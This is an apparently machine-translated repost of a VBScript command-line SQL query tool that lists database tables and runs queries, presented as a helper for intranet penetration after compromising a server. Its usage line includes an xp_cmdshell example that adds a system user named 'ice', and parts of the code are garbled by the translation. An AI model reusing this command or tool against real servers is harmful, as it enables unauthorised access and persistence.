Vbs SQL query analyzer LCX files

Source: Internet
Author: User

It took a little time to change the SQL module of the top 2006 of Haiyang to vbs, which is the same as its function. However, it may not be as comfortable as ASP, but it can be used, it can be used in DOS. It is estimated that you will need it when penetrating the Intranet.

If (lcase (right (wscript. fullname, 11) = "wscript.exe") then
Echo "execute it under the cmd.exe plz! THX ."
Echo "code by LCX"
Wscript. Quit
End if

If wscript. Arguments. Count <1 then
Echo "Usage: cscript SQL. vbs showtables E: \ hytop. MDB or SQL: provider = sqloledb.1; server = localhost; user id = sa; Password = haiyangtop; database = BBS ;"
Echo "Usage: cscript SQL. vbs query connection string <Table name = default:"> SQL statement <page number = default: 1>"
Echo "Exp: cscript SQL. vbs showtables "& CHR (34) &" SQL: provider = sqloledb.1; server = localhost; user id = sa; Password = haiyangtop; database = BBS "& CHR (34)
Echo "Exp: cscript SQL. vbs query "& CHR (34) &" SQL: provider = sqloledb.1; server = localhost; user id = sa; Password = haiyangtop; database = BBS "& CHR (34) & space (1) & CHR (34) & CHR (34) & space (1) & CHR (34) & "select * from name" & CHR (34) & space (1) & 1
Echo "Exp: cscript SQL. vbs query "& CHR (34) &" SQL: provider = sqloledb.1; server = localhost; user id = sa; Password = haiyangtop; database = BBS "& CHR (34) & space (1) & CHR (34) & CHR (34) & space (1) & CHR (34) & "update ..... "& CHR (34) & space (1) & 1
Echo "Exp: cscript SQL. vbs query "& CHR (34) &" SQL: provider = sqloledb.1; server = localhost; user id = sa; Password = haiyangtop; database = BBS "& CHR (34) & space (1) & CHR (34) & CHR (34) & space (1) & CHR (34) & "Exec master. DBO. xp_mongoshell 'net user ice hacker/add' -- "& CHR (34) & space (1) & 1
End if

Sub chkerr (ERR)
If err then
Echo "error:" & err. Description & "Error Source:" & err. Source & vbcrlf
Err. Clear
Wscript. Quit
End if
End sub

Sub echo (STR)
Wscript. Echo Str
End sub

Function fixnull (STR)
If isnull (STR) then
STR = ""
End if
Fixnull = Str
End Function

Sub showerr (STR)
Dim I, arraystr
Arraystr = Split (STR, "$ ")
Echo "error message:" & vbcrlf
For I = 0 to ubound (arraystr)
Echo (I + 1) & "." & arraystr (I) & "<br/>"
Next
Echo vbcrlf
Wscript. Quit
End sub

Rem =-
Below REM isProgramModule Selection
Rem =-

Pagemsdatabase ()

Sub pagemsdatabase ()
Dim theact, sqlstr
Theact = wscript. Arguments (0)
Sqlstr = wscript. Arguments (1)

Select case theact
Case "showtables"
Showtables ()
Case "query"
Showquery ()

End select

End sub

Sub showtables ()

Dim Conn, sqlstr, rstable, rscolumn, connstr, tablesstr
Sqlstr = wscript. Arguments (1)
If lcase (left (sqlstr, 4) = "SQL:" Then
Connstr = mid (sqlstr, 5)
Else
Connstr = "provider = Microsoft. Jet. oledb.4.0; Data Source =" & sqlstr
End if
Set conn = Createobject ("ADODB. Connection ")

Conn. Open connstr
Chkerr (ERR)

Tablesstr = gettablelist (Conn, sqlstr, rstable)

Echo tablesstr & "======================================== ================"

Do until rstable. EOF
Set rscolumn = conn. openschema (4, array (empty, empty, rstable ("table_name"). Value ))
Echo rstable ("table_name") & vbcrlf

Do until rscolumn. EOF

Echo "field name:" & rscolumn ("column_name") & vbclrf
Echo "type:" & getdatatype (rscolumn ("data_type") & vbclrf
Echo "Size:" & rscolumn ("character_maximum_length") & vbclrf
Echo "precision:" & rscolumn ("numeric_precision") & vbclrf
Echo "can be blank:" & rscolumn ("is_nullable") & vbclrf
Echo "Default Value:" & rscolumn ("column_default") & vbclrf
Rscolumn. movenext

Loop

Rstable. movenext
Echo vbcrlf
Loop

Echo "============================================== ====================================="

Conn. Close
Set conn = nothing
Set rstable = nothing
Set rscolumn = nothing
End sub

Sub showquery ()

Dim I, j, RS, SQL, page, Conn, sqlstr, connstr, rstable, tablesstr, thetable

Sqlstr = wscript. Arguments (1)
Thetable = wscript. Arguments (2)
SQL = wscript. Arguments (3)
Page = wscript. Arguments (4)

If not isnumeric (PAGE) or page = "" then
Page = 1
End if

If lcase (left (sqlstr, 4) = "SQL:" Then
Connstr = mid (sqlstr, 5)
Else
Connstr = "provider = Microsoft. Jet. oledb.4.0; Data Source =" & sqlstr
End if
Set rs = Createobject ("ADODB. recordset ")
Set conn = Createobject ("ADODB. Connection ")

Conn. Open connstr
Chkerr (ERR)

Tablesstr = gettablelist (Conn, sqlstr, rstable)

Echo "view database table structure :"
Echo tablesstr & "======================================== =============================="
Echo "> SQL command execution and viewing <:" & vbcrlf
If SQL <> "" and left (lcase (SQL), 7) = "select" then
Rs. Open SQL, Conn, 1, 1
Chkerr (ERR)
Rs. pagesize = 20
If not Rs. EOF then
Rs. absolutepage = page
End if
If Rs. Fields. Count> 0 then
Echo "SQL operation-execution result" & vbcrlf
Echo "===============================" & thetable &" column names are as follows ============== ================================="
For J = 0 to Rs. Fields. Count-1
Echo Rs. Fields (j). Name & vbcrlf
Next
For I = 1 to 20
If Rs. EOF then
Exit
End if

For J = 0 to Rs. Fields. Count-1
Echo fixnull (RS (j) & vbcrlf
Next

Rs. movenext
Next
End if
Echo "============================================== ==================================="
Echo "Total" & Rs. Fields. Count & "columns" & vbcrlf
For I = 1 to Rs. pagecount
Page = I

Next
Echo "Total" & page & "page"
Rs. Close
Else
If SQL <> "" then
Conn. Execute (SQL)
Chkerr (ERR)
Echo "execution completed! "& Vbcrlf
End if
End if

Conn. Close
Set rs = nothing
Set conn = nothing
Set rstable = nothing
End sub

Function getdatatype (typeid)
Select case typeid
Case 1, 130
Getdatatype = "text"
Case 2
Getdatatype = "integer"
Case 3
Getdatatype = "long integer"
Case 7
Getdatatype = "date/time"
Case 5
Getdatatype = "Double Precision"
Case 11
Getdatatype = "yes/no"
Case 1, 128
Getdatatype = "OLE object"
Case else
Getdatatype = typeid
End select
End Function

function gettablelist (Conn, sqlstr, rstable)
set rstable = Conn. openschema (20, array (empty, "table")
echo "has the following table names:"
do until rstable. EOF
gettablelist = gettablelist & "[" & rstable ("table_name") & "]" & vbcrlf
rstable. movenext
loop
rstable. movefirst
end function

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.